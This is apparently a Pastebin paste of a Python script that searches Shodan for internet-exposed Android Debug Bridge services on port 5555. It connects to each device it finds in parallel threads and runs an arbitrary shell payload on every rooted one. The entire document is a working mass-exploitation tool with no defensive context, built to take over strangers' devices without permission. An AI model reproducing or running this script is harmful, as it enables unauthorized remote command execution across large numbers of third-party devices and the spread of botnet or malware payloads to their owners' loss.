Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import threading
- import time
- from shodan import Shodan
- from colorama import Fore, init
- from adb_shell.adb_device import AdbDeviceTcp
- from adb_shell.auth.sign_pythonrsa import PythonRSASigner
- import argparse
- import logging
- # Initialize Colorama
- init(autoreset=True)
- # Setup logging
- logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
- # Command line arguments
- parser = argparse.ArgumentParser(description='ADB Connection Automation Script')
- parser.add_argument('--shodan-key', type=str, required=True, help='Shodan API Key')
- parser.add_argument('--payload', type=str, required=True, help='Command payload to execute on ADB')
- args = parser.parse_args()
- # Shodan API
- api = Shodan(args.shodan_key)
- def connection(host, port, payload):
- try:
- logging.info(f"{Fore.GREEN}[CONNECT] {Fore.MAGENTA} {host}:{port}")
- # Optional device authentication
- signer = PythonRSASigner() # Assuming keys are setup
- device = AdbDeviceTcp(host=host, port=port, default_transport_timeout_s=10, sign=signer)
- device.connect(auth_timeout_s=0.5)
- if not device.is_rooted():
- logging.warning(f"{Fore.YELLOW}[WARNING] {Fore.MAGENTA} {host}:{port} is not rooted. Skipping.")
- return
- device.shell(command=payload, shell_timeout_s=10)
- logging.info(f"{Fore.GREEN}[SUCCESS] {Fore.MAGENTA} Executed payload on {host}:{port}")
- except Exception as e:
- logging.error(f"{Fore.RED}[ERROR] {Fore.MAGENTA} {host}:{port} - {e}")
- def main(payload):
- try:
- # Use Shodan API search cursor to iterate through results
- for result in api.search_cursor('port:"5555" "Android Debug Bridge"'):
- host = result['ip_str'].rstrip()
- port = result['port']
- threading.Thread(target=connection, args=(host, port, payload)).start()
- time.sleep(0.1) # Prevent launching too many threads at once
- except Exception as e:
- logging.critical(f"Failed to search devices: {e}")
- exit(1)
- if __name__ == "__main__":
- main(args.payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement